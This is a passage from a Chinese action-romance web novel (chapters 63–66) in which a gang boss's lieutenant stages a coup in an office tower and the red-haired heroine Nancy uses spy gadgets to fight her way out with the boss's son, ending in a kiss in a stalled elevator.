他继续强忍恶心,装作像是想起了什么,说:“等等,先不说这个了,我突然想到一件很重要的事,我来这的路上碰到了温重明,他在……” “雪生,是重明救你回来的?!”没等温雪生说完,郑司令就打断了他,表现得很是激动,“哎呀,真是兄弟情深啊!重明那孩子我知道,看着闷,其实心里热乎着呢!” 他拍起手,笑得眼睛都快看不见了。 温雪生看着他表演,胃里翻滚不止。为了不让恶心和火气爆发,他靠在沙发背上,双手抱在胸前,没再说一个字。 房间里又沉默了下来,只有墙上的挂钟在走—— 嗒,嗒,嗒—— 然后,温四打破了这份沉默。 “是啊,雪生和重明那都是我的好儿子,兄弟情深,这是好事。”他的眼睛看着虚空的某一点,似乎陷入了回忆,“还记得以前,重明再累再忙,都会去温沙城堡给雪生讲故事,讲完了好几本世界名著……” 他叹了口气,还想着再继续回忆点什么,把目光向了郑司令:“老郑啊,你跟了我多少年了?” 这次,他刻意没用“郑司令”这个称呼。 郑司令没做任何琢磨,干脆地回:“有二十二年了,雪生还没出生,我就跟着您了。” “哦,二十二年了……”温四点点头,“还真是久啊,久到我也早就把你当兄弟了,老郑。” 郑司令愣了一下,表情出现了一瞬间的空白,但很快,一种感动的神色就浮现在了脸上。 “老大!他颤颤地喊了一声。 温四摆摆手,示意他不要那么激动。 “好了好了,我是有个问题,想考考你。”温四说,“你知道为什么我叫温四,别人见了我都要喊我一声温四爷吗?” 郑司令回得很快:“因为您在家中排行老四。” 温四哈哈哈地笑了起来。 他笑得很突然,声音也很大,等笑够了,他摇摇头,抹了抹眼角,露出了一种无奈的表情:“老郑啊,你怎么跟别人一样瞎猜?外面传的也当真?你是我兄弟,跟了我二十二年,你见过我排在我前面的三个哥哥?” 演了这么久,郑司令的耐心越来越少,这会儿温四又突然说些乱七八糟的东西,他心里有点躁,但依然压着脾气,尽量配合:“您这么一说,我好像还真没见过,那您这称号咋来的,老大您给讲讲?” 温四装作生气的样子,点了点他:“老郑,这就是你的不对了,刚才还说咱们是兄弟,你这个做弟弟的,也不关心一下我这个大哥,连大哥名字的来历都不知道,说出去让人笑话!” 他转向温雪生:“雪生,你也不知道吧?” 温雪生摆一副臭脸,没理他。 温四也不介意,自顾自地讲了下去:“温四这名字,其实是我自己给自己改的……” 第63章 以一敌多 “年轻时,我爱读历史,清朝的雍正皇帝,对我影响很大。”温四站起身,走到落地窗前,窗外已经大亮了,楼下的行人和车流多了起来,“他是康熙皇帝的第四个儿子,他的那些兄弟,个个不是省油的灯,为了那把龙椅,明争暗斗了十几年,史称‘九子夺嫡’,最后,是他战胜了自己的兄弟,笑到了最后,成了一代明君。” 随着最后一个字的落地,温四的目光像一把利刃,直直地射向了郑司令。 “老大,原来您的名字是这个意思啊,您是想跟雍正皇帝一样吗?”郑司令看着温四,恍然大悟,他低头拍了拍腿,再抬起头时,竟换了个模样。 “老大,其实我也蛮好看历史的,既然您这样说,我也想考考您,”郑司令缓缓站直,嘴角微扬,颇有一副想正面迎击利刃的意思,“您知不知道,明成祖朱棣,也是皇帝的第四个儿子?本来,坐在龙椅上的是他大哥的儿子,他的亲侄子,可是他不服,起兵打了整整四年,尸山血海,硬是把侄子赶下了台,自己坐稳了江山!” 说完,郑司令抬手在领口处往下一按,办公室外顿时传来了低沉的轰隆声,就像是有哪道门开了。 紧接着是一阵急促的脚步,浩浩荡荡,由远及近。 很快,办公室厚重的实木双开门,被一股强劲的冲力,从外面撞了开来! 两列穿黑衣服的打手鱼贯而入。 一共十六个,每个手里都握着一根五十公分长的银铁管。他们进来后迅速呈半圆形分散,铁管前端齐刷刷地指向温四! 然而,温四脸上没有任何表情,不是故作镇定,是真的没有,他在江湖混了三四十年,从摆地摊被收保护费,到如今坐在光源大厦的豪华办公室,中间经过的大风大浪,多得自己都记不全,眼前这场面实在排不上号。 郑司令会反,他三年前就知道了。人一旦膨胀,身上就有种味儿,藏不住,郑司令这几年走路脚后跟都不怎么沾地了,说话音调也越来越高,这些他都看在眼里,却没说话,因为说了没用,郑司令的根已经扎得太深,盘根错节,扯动一点,整个济东black社会都要晃上三晃。 现在郑司令自己跳出来了。 他心里那根绷了三年的弦,反而松了。他垂下眼睛,从衣服内兜掏出一块黑色摩托罗拉,翻开了盖。 郑司令对温四这冷淡的态度很是不爽,他故意挺起胸膛壮势,可因力度太大,衬衫的第二颗扣子“啪”的一声崩开了。 他当做没看见,接着昂起下巴,用嘲讽的语气说:“怎么?想打电话叫人?唉,太晚了!你现在打给谁都没用了!光源大厦三十九层,已经被我的人秘密占领了——” 温四不出声,也不看他,在摩托罗拉的键盘上按下了几个数字。 “——哦,不对,应该是说,整栋光源大厦,从地下停车场到楼顶天线,现在都姓郑了!” 温四又按了几个数字。 “老大。”郑司令瘪瘪嘴,声音放低了些,似乎在表演一种怀念的感觉,“我还是再叫你一声老大,毕竟我跟了你二十二年。二十二年前,你从仇家手里救下我,那时候你和我说,跟着你混,有你一口饭吃,就有我一口。” 电话号码已经拨完,温四把手机贴在耳边,听筒里传来忙音。 嘟嘟嘟…… “我信了。”郑司令往前走了两步,打手们自动给他让开一条道,“我给你挡过刀,替你坐过牢,最危险的那些年,都是我冲在最前面。你呢?你成天就知道给我画大饼,说的比唱的好听,把我当傻子!” 电话没接通,温四挂了电话,又按下另一串号码。 “后来温重明那小子冒了出来。”郑司令脸色阴沉,“你收他当干儿子,让他跟你坐一辆车管一堆人,可我还是在搞那些收债的活儿。你是怕我势力太大了,找个毛头小子来牵制我呢?嗯?!刚刚,你说拿我当你兄弟,我呸!你总爱说漂亮话,可心里压根就没有兄弟,只有利益!” 温四第二次挂了电话,又准备换号码再拨。 郑司令还在说,温四便没仔细听,因为那些话他都能替郑司令背出来,反水的人,说辞都差不多,不是委屈就是不甘,觉得欠他的。 “你怎么不出声?”郑司令转了转脖子,试图让自己表现得松弛点,“别再弄你那块破手机了,都说了,你这是白费力气,能接你电话的人,都被我收拾掉了,一个一个,从昨天下午到今天早上,全收拾干净了!” 温四终于肯抬眼看他,眉心打了个结。 郑司令见他有了反应,心里咯噔一下,然后竟有些得意忘形,他摊开手,表请夸张地说:“你是不是很奇怪我怎么做到的?我告儿你!这其实很简单,因为你心里只在乎你那宝贝儿子,他出了事你准会急!果然不出我所料,你把所有人都派出去找他了,我下手自然也就方便了。现在你的大本营空了,就剩几个女文员,能顶什么用? “而且这些年,你压根没把心思放在起家的地方。东边那五个夜总会,西边那些铺子,你多久没亲自去看看了?你知不知道,你连手下的心都快控不住了,不光我,好多人都想反你了!” 说着,郑司令突然笑了,只是笑声干硬,“你搞什么投资,建什么工厂,弄那些你以为的正经生意,还不让我插手,防我跟防贼似的,不过你多心了,你让我去干,我也不屑去干,和那些自以为上流的人渣打交道?白天跟你握手,晚上算计怎么吞你的地盘,还不如在夜总会看场子痛快!至少咱们的弟兄,有血性,不玩那些虚头巴……” 哔-哔哔-哔— 郑司令正说得激动,突然间,耳边传来了一阵长短音相结合的电子音。 他立马竖起耳朵,眼睛快速扫过房间。 那声音竟然是从温四手里发出的。 那部摩托罗拉正在响,黑白长条屏幕亮着,铃声闹个不停。 而温四不慌不忙,按下了接听键,把手机贴到了耳边。 “喂?” 他说了一个字,语气平平常常,就像接了一个打错的电话。 郑司令感到脑子里“嗡”的一声,然后,一种冰冷的东西从脊椎爬了上来,爬过后颈,爬上头皮,快要把他吞噬。 在道上混的人,对危险的感觉尤其敏锐,郑司令意识到不妙,几乎是下意识喊出声:“打掉那块手机!把温四拿下!” 离温四最近的那个打手最先反应过来,听到命令,他像豹子一样猛冲过去,右手五指张开,直抓温四握手机的那只手。 温四还在听电话,他甚至对电话那头说了句“等一下”。 然后,他抬起了右腿。 这个动作,郑司令觉得他看到了,但又好像没看清。 温四的腿抬得不高,速度也不快,就那么轻飘飘地一抬,脚底板竟然就印在了那个打手的胸口上。 只听“啪”的一声,打手的身体顿了一下,然后整个人向后仰倒出去。 而他身后还站着另一个打手,那人根本没反应过来,就被他结结实实的砸中了。 顿时,两个打手滚作一团,撞翻了旁边的书架,书本散落一地。 郑司令嘴巴微张,震惊万分。 他看看地上,那俩打手在咳嗽,每咳一声都好像带着血沫子。 他又看看温四,这老头儿穿着他喜欢的中山装,脚上是双老式黑布鞋。他稳稳地站着,腰杆挺得笔直,手里的摩托罗拉依然贴在耳朵上。 “这……”郑司令感到有些怀疑人生。 不可能…… 这绝对不可能! 他跟了温四二十二年,二十二年!他见过他喝茶,见过他抽雪茄,见过他发号施令,见过他带着老花镜看书看报……但从来没见过他动手! 一次都没有! 他一直觉得,温四就像《三国演义》里的刘备,自己不会打架,但有本事让关羽张飞替他卖命。 不对…… 郑司令的脑子突然抽了一下,想起一些很早以前的碎片。 他刚跟着温四时,听一些老混混讲过温四的发家史,说是温四曾经特别能打,可以一敌多,身上挨个七八刀都倒不了,还说温四虽然长得斯文,像个读书人,但动起手来比谁都狠。 郑司令当时听了,笑了笑,没当真,觉得这是兄弟们喝高了在吹牛。 后来有一次,他试探着问温四是不是真能打? 温四正在泡茶,听到这话,他抬起头,笑着摆摆手:“打什么打,现在是法治社会了,能动脑子,就别动手。” 从那以后,郑司令就认定了,温四不会打架。 这个印象根深蒂固,深到他已经完全忘了那些老混混的话。 可是现在,眼前的温四收回腿,放下了手机,把摩托罗拉又揣回中山装的内兜里,然后冷冷地看向郑司令,沉声问:“老郑,你这是要干什么?” 郑司令的嘴唇哆嗦了下,咽了口唾沫,没说出一个字,只有大脑还在飞速运转。 他扫了一眼屋里的打手,强迫自己冷静下来,心想,就算温四再能打,他也快六十了,一个老头儿,还能有多少体力? 而且,他只有一个人! 想明白这点后,郑司令眼神放狠,一挥手臂,冲打手们喊:“都上,一起上!” 打手们互相看了一眼,刚才温四的那一脚,让他们心里犯怵,但郑司令的命令不能不听,也不知谁先吼了一嗓子,一群人猛地扑了上去。 办公室很大,有一百平米,但十几个打手一起行动,这个空间就显得有些局促,打手们不能完全展开,只能分批次进攻。 第一批冲到温四面前的打手抡起了铁管,冲他砸去。 温四的身体向左平移了半步,几根铁管擦着他的中山装落下,砸空了。与此同时,他抬手抓住了一个打手的手腕,一扭,一拉,打手整个人失去平衡朝后栽去,直接撞倒了剩下的人。 第二批上的有俩打手,他们很有计划,一个攻左,一个攻右。 温四后退一步,背靠在了落地窗上。 玻璃窗震了震,发出轻微的震动。 两个打手见机同时扑上,铁管一左一右夹击。 然后郑司令看到了他这辈子都忘不了的画面: 温四突然蹲低,几乎是贴着地面从俩打手中间的缝隙滑了过去,那动作完全不像快六十的人能做出来的,更像是武打片里大侠的招式! 他滑过去的同时,双腿向后蹬出,正中两个打手的膝弯。 这一些列动作浑然天成,温四撑地起身,呼吸很平稳,甚至还整理了一下衣领,把被扯歪的中山装拉正了! 有那么一瞬间,郑司令脑子里飘过一个念头: 不会吧…… 不会这屋子里的所有人,都能被温四一个人干掉吧? 这个念头让他浑身发冷。 郑司令很讨厌自己这样,他遇事总会先往坏处想,但也正是这个习惯,让他在无数次危险中活了下来。 不行。 不能这样下去。 他想,得找个办法,让温四停下来! 郑司令的大脑再次快速转动起来,突然灵光一闪,他想到了! 对了,软肋! 每个人都有软肋,而温四的软肋是…… 郑司令猛地转头,看向对面的单人沙发。 哪料,沙发上竟然空无一人! 他的心跳漏了一拍,视线急扫办公室。 门口! 温四的宝贝儿子温雪生正在门口,一只脚正要迈出大门! 给我站住! 郑司令在心里着急地吼了一声。 为了不打草惊蛇,他单脚轻轻蹬地,整个人扑了过去。 四十岁以后他发福了,肚子凸出来,可平时工作得穿西装,为了不撑开扣子,他能不动就不动,近些年体能下降得厉害,但在这一刻,他爆发出了年轻时的速度,三步就扑到了门口,右手同时一抖,一柄弹簧刀从袖口滑出,落到了手心。 紧接着,他猛一甩手,弹簧刀脱手而出,化作一道银线,直直地射向温雪生的后心! “雪生!”落地窗前,温四的声音穿过打手,变了调。 郑司令心里大喜。 赌对了! 就在刀尖即将刺入温雪生外套的瞬间—— 一个人影从门外闪了进来! 真的只能用“闪”来形容,郑司令甚至没看清对方是男是女,是高是矮,只看到了一抹黑。 然后,他听到“哐当”一声,便看见弹簧刀从半空掉了下来,滑出老远。 可他还没来得及做出任何反应,就又感到手腕突然一麻,像被高压电击中了似的,那感觉瞬间从手腕传到肩膀,整条胳膊失去了知觉。 几乎同一时间,一股巨大的力量砸在他的侧腰,他整个人飞起来,重重摔在地上,登时,肺里的空气被全部挤出,他张大嘴,却吸不进一口气,只能发出嗬嗬的怪声。 等视线重新聚焦,他看见自己趴着,伸出的右手被一只鞋踩住了。 那是一只纯黑色运动鞋,鞋帮很高。 鞋的主人用力往下踩,然后左右一碾。 剧痛登时从手背传来,郑司令清晰地听见手骨被碾断的声音,就像一包被踩碎了的薯片。 “啊——!!!” 凄厉的惨叫窜出喉咙。 第64章 两面夹击 “别叫了,耳膜都要破了。” 运动鞋抬了起来。 郑司令颤抖着把手抽回,手背已经血肉模糊,几根手指以奇怪的角度扭曲着。 他下意识抬头,顺着运动鞋往上看。 黑色紧身裤,黑色紧身衣,外面套一件深蓝色牛仔夹克。 再往上,是一张年轻的女人的脸。那脸上没什么表情,眼睛很亮,红色头发披散着,却给人利落的感觉。 郑司令的嘴里控制不住地吐出四个字:“红发,女鬼……” “bingo~” 南希一手揣兜,一手握着她的摩托罗拉,她没看郑司令,而是朝前仰了仰下巴。 那是落地窗的方向。 温四正被五六个刚爬起来的打手围着。 “温四爷,”南希晃晃摩托罗拉,嘴角一勾,“刚才在电话里,咱们可说好了哦,我来救你儿子,咱俩之间的账,一笔勾销。” 温四的声音很快传了过来:“放心,道上的都知道,我温四向来说话算话。雪生就交给你了。” “得嘞!”南希轻快地收起手机,把视线移回地上。 郑司令还蜷在那儿。 他像个球一样,左手死死攥着右腕,好像这样就能把疼痛给捏回去。 虽然这会儿,他的意识基本都拴在自己的烂手上,但温四和南希的对话,还是零零碎碎地飘进了他的耳朵。 他这才意识到,原来刚才那个电话,是红发女鬼打给温四的。 其实他曾经收到过一些模棱两可的情报,说是红发女鬼可能跟温大少有些牵扯。当时他觉得荒唐,且不说温大少长得怎么样——现在虽然好看了,但以前就是个比鬼都吓人的丑八怪,就冲那小子的别扭劲儿,三棍子都打不出个屁来,压根不可能跟女人扯上关系。 可是现在,郑司令看着那神态恣意的红发女人,只觉得有股气憋在了胸口,上不去下不来,比手上的疼还让他难受。 他张开了嘴,从嗓子眼里滑出了一句话:“你还他妈真是那病秧子的女人……” 他声音很轻,几乎是咕哝给自己听的,但南希离他太近了,耳朵又尖,连最轻的呼吸声都听得着,更别说说话了。 南希垂下眼皮,视线落在郑司令因疼痛而扭曲的黑脸上,嗤了一声,弯下腰,凑近了些。 “诶,话可不能说得这么难听——” 她偏过头,瞥向门口,视线与温雪生相撞。 温雪生的睫毛颤了颤,脸竟莫名的涨红了。 南希的眼睛眯成了月牙,又转回头,拖长了腔调:“——应该是,小生生是我养的小男友。” 说完,她像是要往前走一步那样,自然地抬起了的右脚,但抬到一半的时候,速度突然变得飞快。 郑司令看见那双黑色鞋底在眼前迅速放大,然后,脸面就结结实实地挨了一脚! 登时,他脑袋后仰,眼冒金星,鼻血喷涌! 另一边,南希的动作并没有停下,她借着踹人的反冲力,整个身体直往前窜,两步就跨到温雪生跟前,然后一把攥住他了的手腕。 “走!” 她没作解释,拉着他就冲出了偌大的办公室。 一切发生在眨眼之间,温雪生反应不迭,踉跄着跑了好几步才跟上了她的节奏,只是气息怎么喘都喘不匀:“喂,你——” “别出声。”南希头也不回,脚步更快,“省点力气,快点跑。” 温雪生不得不加快了步子。 南希对他的表现很满意,继续说道:“我知道你可能会奇怪,刚才在你爸办公室,我明明已经把场子给镇住了,为什么还要带着你逃?”她语速很快,“你应该知道什么叫装腔作势。我跟你爸都是好赌的人,加上见过的大场面多了,就更会装罢了,我们装作镇定,装作能以一敌百,来赌一个逃出生天的机会。刚刚,看起来是我们占了上风,可如果真要硬碰硬,你觉得我们可能打过那十几个练家子吗? “而且,现在的情势,比我预想中的还要糟……” 说到这时,两人已经跑到来时的电梯间。 南希赶紧伸出手,拇指重重地按在向下的按钮上。 顿时,代表电梯上行的指示灯亮了。 “还有,”南希死死盯住那个灯,因为上面没有数字,她没法确定电梯具体到了哪一层,不过,她的声音依然平稳冷静,“刚才你去办公室那会儿,我也没闲着。这个三十九层一个人都没有,太奇怪了,我预感不好,就趁机查了下这座光源大厦,结果你猜怎么着?” 她压低声音,“我发现,这里的每一层——听好了,我说的是每一层——都蹲着人。很明显,他们都是郑司令养的打手。我还从没见过像郑司令这么谨慎的流氓,他这次来,可以说,没给你老爸留任何活路。 “只是,人都有弱点,我猜郑司令这个人的弱点就是应变能力不行,刚才办公室里那出是突发状况,他的弱点被放大,就让我和你爸联手给唬住了,但他不是傻子,现在肯定反应过来,已经叫人上来了。 “现在,咱们只能祈祷他的反应,比我们的速度要慢一点,祈祷这部电梯里——” 叮—— 上行提示灯熄灭。 电梯到了。 铁门缓缓向两侧滑开。 南希后的半句话,“没有郑司令的人”,被卡在了喉咙里,然后变成了一个词: “靠!” 眼前,那敞开的电梯厢内,满满当当的,竟然全是穿黑衣服的打手! 他们个个寸头,面无表情,肩膀挨肩膀,把电梯塞得一点缝儿都不剩。最前面那个手里拎着根铁管,银色金属表面反射着顶灯冷白的光;第二个人握着一截铁链,链子垂下来,末端在晃;第三个人、第四个人,第五个人……手里都有家伙! 看到门外有人,没等门完全打开,打手们已经摆出攻击姿势。 南希比他们更快。 她没有退,反而上前半步,右腿高高抬起,运动鞋踹在最前面那人的胸口上。 那人往后倒,像保龄球似地撞翻了一片。 电梯里顿时乱成一团。 人压人,腿勾腿,胳膊缠胳膊。 前面倒地的人,俩腿伸在电梯门外,铁门关不上,哐当哐当地撞着小腿骨,然后又弹开。这样,里面的人也出不来,被自己的人卡死了,只能眼睁睁地看着外头的红头发女鬼拽着温大少冲进走廊。 走廊尽头,荧光绿的“EXIT”字母幽幽亮着。 南希跑过去,一脚踹开了沉重的防火门。 铁门撞在墙上,发出哐当一声巨响,在楼梯间里荡出层层回声。 “电梯坐不了,就走楼梯!” 时间紧迫,说完这句话,南希就率先冲了下去。 温雪生跟在她后面,鞋踩在水泥台阶上啪啪响,可没下几层,他就开始喘,肺里像塞了团湿棉花,额头直冒虚汗。 南希回头瞥他,没减速,但伸出了手:“你还是把手给我吧!” 不等温雪生同意,她再次强硬地抓住了他的手腕。 两人一圈一圈地往下绕,速度快到像有无数个影子在跟着跑。 可光源大厦实在太高了,想要从三十九层下到一层,需要不少时间,而时间一旦拉长,就容易产生变故,且难以预料。 果然,他们才刚下到三十层,这个变故就找上了门。 安全门突然被从外面撞开,打手们涌了进来,黑压压一片,把楼梯平台直接堵死了。 几乎是同时,从下方楼梯传来了更多的脚步声。 咚咚咚……咚咚咚…… 南希探头往下看,二十九层,二十八层,二十七层……安全门一扇接一扇被撞开,打手们像蝗虫一样冒出,一层一层,望不到头。 往上也是。 她抬起头。 三十一层,三十二层,三十三层……头顶的脚步声好似闷雷,层层压下,越来越近。 南希停住脚步,眯起眼睛。 “行啊,郑司令,”她低声嘟囔,“汉堡包战术,这是把咱俩当夹心肉饼了。” 她下意识攥住温雪生的手,手指扣进他指缝里,握得死紧,声音却放软了些:“你别慌,我能摆平。” 温雪生脸是白的,汗珠顺着鬓角往下淌,但下巴扬着:“谁慌了?” 南希斜眼,看到了他别扭的模样,即使是在这种危机时刻,也笑了出来。 都什么时候了,他竟然还在逞强,还真是个死要面子的大少爷,本事没多少,嘴倒硬得很。 不过也好,跟着她,确实用不着慌。 南希吁了口气,大脑飞快过了一遍身上的装备。 左胳膊:麻醉针发射器,藏在袖口里,针头细,射程五米;电击装置,贴在小臂内侧,按开关就能发电。 右胳膊:迷药喷雾,塑料小瓶,按压喷射;攀爬铁爪,藏在手腕处,弹射装置可用来攻击。 不错,她很满意。 幸好这两天一直在外奔波,红发女鬼这身行头还没来得及换,组织给的那些牛x哄哄的家伙都完好地藏在衣服下面。 确认完后,她用余光扫视周围。 楼上下来的打手距离还远,场地空间狭窄又隔着楼层,他们冲过来有些难度。 所以现在,只需要把眼前这波打手干掉,她就能带着温雪生冲进三十层,冲进电梯间,坐电梯直下一层。 因为以目前的架势推理,郑司令藏在各个楼层的打手,都被她引到了楼梯,已经不会再出现电梯里挤满人的情况。 看来,郑司令百密一疏,还是犯了错,犯了那些自以为是的人常犯的错——轻敌。 以为她势单力薄,想用两面夹击、人海战术淹死她? 做梦! “躲后面去!”南希猛然侧头,高喝道。 温雪生虽傲娇,却懂审时度势,他不再顾及什么脸面,立马听话照做,退到南希身后,脊贴上冰冷的混凝土墙。 南希跨前一步,把他完全挡住。 下一秒,只见她双臂一甩—— 电击、迷药、麻醉针、弹射铁爪,如炸开的烟花,“轰”的一声,齐刷刷地射向已逼至跟前的黑衣打手! 第65章 亲我 清晨的济东。 早班公交拖着黑烟驶过空荡的马路,骑自行车上班的人流像潮水般从巷子里涌出,“叮叮叮”的车铃声响成一片。 大街上,一辆军绿色猎豹撕破了这幅晨景。它们好似两头闯入城市的野兽,嗡嗡地冲着,因为车速太快,带起的风卷起地上的塑料袋和废纸,在空中打转。 一辆三轮车正横穿马路,车上堆着白菜,垒得很高。 猎豹的喇叭直响。 嘀—— 蹬三轮的老头吓了一跳,急扭车把避让。三轮车登时侧歪,几棵白菜滚下来,在马路中间散开。 老头跳下车,指着猎豹就骂:“赶着投胎啊?!开这么快!撞死你个龟孙!” 然而,猎豹已经拐过街角,消失了。 车里,张笑远紧握方向盘,目视前方,右眼皮跳个不停,按老人的说法,这是要倒霉。 后视镜里,孙红和孙紫两姐妹靠在后座,脸色也都不好看。 坐在副驾驶的,是个伤痕累累的中年男人,绷带从他的头顶缠到脖子,只露出眼睛和嘴巴。 可即便这样了,他还是坐得笔直,一手死死抓着门框上的扶手,另一只手攥成拳头放在大腿,骨节崩得都凸了出来。 “快点。”男人的声音从绷带缝里挤出,“再快点!只要足够快,就能来得及!” 孙红听不下去,探过身子,手搭在副驾驶座椅背:“你能冷静点吗?笑远都要把油门踩进油箱里了!” 孙紫附和:“对呀,再快就要撞死人了,刚才那辆三轮看到没?差一米就撞上了!” 那被绷带包裹的脑袋转向窗外,没再回应,但他的整个身体都在抖。 张笑远也没回应,不过他做了个决定。他舔了舔发干的嘴唇,一咬牙,脚下加重了力气。 顿时,车子像被踢了一脚的野马,飞速冲过一个刚变黄的绿灯。 * 光源大厦,三十层。 南希的计划一切顺利,她带着温雪生顺利地突出重围,顺利地冲进走廊,顺利地踏上了空无一人的电梯。 电梯门缓缓合拢,南希背靠电梯厢壁,喘了口气。 温雪生站在她旁边,用食指按下了数字“1”的按键。 电梯开始下行。 电梯显示屏上,数字从30变成29,然后又变成了28…… 南希盯着那不断变化的屏幕,活动了下手腕,然后直起腰,沉声说:“小生生,我们虽然逃到了电梯上,但不代表危机已经解除。就郑司令那谨慎样儿,他绝对不会放我们这样顺利下去。或许,电梯很快就会故障,又或许,接下来的每一层都会停。咱们得提前做好准备,我在前面迎击,你按关门键……” 叮—— 电梯停了。 南希闭上了嘴,身体不由绷紧,转向电梯门。 另一边,温雪生伸出手指,距离电梯关门键只有一厘米。 然后,电梯门开始向两侧滑开。 在门缝开到十公分时,南希捕捉到外面有黑色皮鞋,不少于三双。 南希看过很多电梯事故新闻,知道在电梯里不能做太大的动作,重心不能太高,也不能跳,她只能依靠装备作战。 这样想着,她的指尖已经触到手腕上的装备按钮。 只听“咔哒”一声轻响,一条铁爪从袖口弹射而出,银光一闪,直直地穿过了门缝。 外面登时传来阵阵闷哼,然后是重物倒地的声音。 下一秒,铁爪收回,爪尖染红,血珠在电梯门上洒出了一幅放射状图案。 温雪生默契配合,在铁爪回归的瞬间,按住了关门建。 电梯铁门缓缓闭合。 可就在这时,一只戴着黑色手套的手伸了进来,扒住了门边。 南希眼疾手快,一拳捣在那只手的腕骨上。 门外传来一声尖叫,手缩了回去。 铁门终于合拢。 电梯晃了一下,继续下落。 可到了下一层,门又开了。 这次,门外的打手更多,有六个。他们学聪明了,站得离门两米远,呈半圆形包围了电梯。 南希嗤了一声,随即手里多了一个塑料小瓶。然后她抬手一甩,登时甩出一片雾状液体。 打手们下意识闭眼、捂脸,但已经晚了。 两秒,第一个打手倒下了。 三秒,六个打手全部瘫倒在地。 温雪生马上按住关门键。 电梯继续向下。 接下来,不出所料,电梯每层都停,每层外面都堵着打手。 南希的麻醉针射出三次,铁爪弹出两次,迷药喷了四次,在她的装备快要见底时,电梯显示屏上的数字终于变成了个位数。 9。 电梯没停。 8。 没停。 7。 也没停。 6…… 电梯的铁门再也没开启,眼看就要抵达最后的一层,南希没有兴奋,而是突然抓住了温雪生的手。 她在抖,很轻,但温雪生感觉到了。 他立刻明白了她传来的信息,她预感到了不好的事! 有那么一瞬间,温雪生觉得周围实在太静了,静到让人不安。 他手下用力,反握住了南希的手。 “南希。”他唤她的名字,语气沉着,甚至算得上是温和,“不管前面会发生什么,我都在。” 南希缓缓转过头,看向他。 电梯顶灯在他脸上投下了阴影,也勾勒出他分明的下颌线。 他站得很直,把那身破西装都撑出了骨架的感觉;他的眼神很坚定,就像在随时准备迎接暴风雨。 真像个武侠片里,能力挽狂澜的大侠啊。 南希的脑子里突然冒出了这样一个想法,然后她怔了下,竟忍不住笑了,刚才那股突然袭来的紧张感顷刻散了大半。 她一挑眉,回:“是吗?那好啊,你亲我一下我就信,温大侠。” 温雪生愣住,以为自己听错了:“什么?” “亲我。”南希笑着重复。 温雪生嘴角微张,却没发出声。 他是真得摸不透她。 她三十秒前还在血战,二十秒前还在慌张,现在却突然说这个。 她有时洒脱得像什么都不在乎,有时沉着得让人安心,有时又会紧张忐忑,有时还会像现在这样,不分时候地说些跳脱的、惹人心慌的话…… 她就像个……精灵,有毒的精灵,一旦中了她的毒,就会万劫不复。 这时,“啪”的一声,顶灯灭了,而应急灯没亮,电梯陷入了黑暗。 紧接着,剧烈的晃动袭来,金属相互摩擦的刺耳声攻击着耳膜: 嘎吱——嘎吱—— 电梯猛地一顿,卡住了。 温雪生看不见南希,看不见自己,也看不见电梯壁,但他下意识地伸出了手,凭着记忆里南希站的位置,凭着刚才还握着她手的感觉,抱住了她。 南希没有防备,或者说,她对他从不设防。于是,她就这么轻飘飘的,像普通女孩那样,一下子撞进了他的怀里。 她僵硬地滞了一下,明白发生了什么后,心里竟泛起一阵窃喜,然后顺势把头埋了下去,埋进温雪生精瘦的胸膛,隔着西装,听到了他的心跳。 一下,两下,三下……很快,像战鼓一样。 她的心跟着跳,便把头埋得更深了。 这么多年,她总是一个人。 习惯一个人扛,一个人拼,一个人战斗,一个人挡在前面,以前,她总觉得这样没什么,可是现在,她忽然感到,能有个人对自己说“我都在”,能有个心跳声在耳边……好像也不错,哪怕只是精神上的,哪怕只有短暂的一瞬,哪怕下一刻就会面对电闪雷鸣、狂风骤雨。 电梯依然没动,也没有光。 但这个密闭的铁盒子,却是明媚的,就像是专门为他们制造的一处安宁的巢穴。在这里,时间好像静止了,世界好像只剩下他们两个人。脚步声、打斗声、命令声、嚎叫声……全都被隔在外面。 至少现在,她不想管外面那些事。 南希听着温雪生的心跳,和他渐渐加重的呼吸,轻声问:“怎么还不亲?” 可不等他回应,她便仰起头,踮起了脚。 周围实在太黑,她什么也看不见,只能闻着他呼吸的味道往上凑。 淡淡的梅花香味,淡淡的消毒水味,还有一点点混着尘土的血腥味…… 然后,她撞上了一片湿热的柔软。 他们之间,温雪生几乎从没主动过。她其实也不指望他主动什么,只要他不抗拒她的靠近就好。 她喜欢逗他,喜欢看他那张傲娇冰冷的脸上出现裂痕。 可是没想到,此时此刻,她嘴边的这片柔软竟是向下探的。 他低头了! 两人同时颤了一下。 两对唇像触电般分开,很快又贴紧,然后又缓缓分开,又再次揉合…… 南希攀上温雪声的肩膀。 温雪生搂在她腰上的手,僵硬地收紧了。 黑暗中,感官被无限放大。 喘息声瞬间淹没了耳蜗。 …… 咣当——!! 突然间,电梯动了。 吱呀呀呀—— 钢丝绳摩擦的声登时刺破了一个个粉红色泡泡,两人如梦初醒。 电梯像是被什么强劲的力量牵引起来,左右摇摆,急速向上! 南希被震得站立不稳,踉跄晃倒。但温雪生依然紧紧抱着她,用手护住了她的后脑。 下一秒,两人一齐摔在地上,只不过温雪生在下,南希在上。 可这并没有减轻南希的难受,电梯的速度快到让她反胃。 不知过了多久,五秒?十秒? 终于,电梯停住了,只是电梯里面仍然没光,这次,南希不知道自己停在了几层,也不知道会停多久。 危机感嘀嘀报警,她意识到,不能再这样下去了,哪怕这片黑暗空间很美,温雪生的怀抱很暖,也不行。 现在,他们是猎物,困在铁笼里的猎物!而猎人,正在外面等着! 南希提起精神,凑到温雪生耳边,问:“还有力气吗?” 温雪生点头。 南希看不见,但能感觉到。 温雪生点动的下巴蹭过了她的额头。 “好。”南希起身,顺势一把拽起身下的温雪生,然后从脖子上摘下夜视镜,戴到头上。 视野立刻光亮清晰。 她看到了温雪生的脸。 温雪生也在看她,眼神复杂,嘴有点肿,下唇还微微渗着血。 南希轻咳一声,移开了视线,然后伸手向前,摸到了电梯门的缝隙。 “小生生,”她看着那道缝,沉声说,“和我一起把这扇门拉开。我,”她仰起头,“要到电梯上面去。” 第66章 天台的风 光源大厦四十层之上,机房层。 一个高瘦的打手探出头,朝电梯井里瞅了瞅。瞅完,他忙往后退了一步,像是怕自己掉进去。 “咋没动静了?”他对后面的人说,“咋回事啊?这样我咋跟老大交代?” 他身后站着仨打手,都穿着黑西装,其中一个蹲在控制板前,手里拿着螺丝刀,一脸愁容。 “我都说了,咱们别乱动这玩意儿。”蹲着的打手说,“等懂电梯的来了再弄不成?!” “想pi吃啊!等他们来了,人早跑了!”高瘦打手说,“老大说了,必须把他们抓着,活的死的都行,现在人困在里面,正好!” 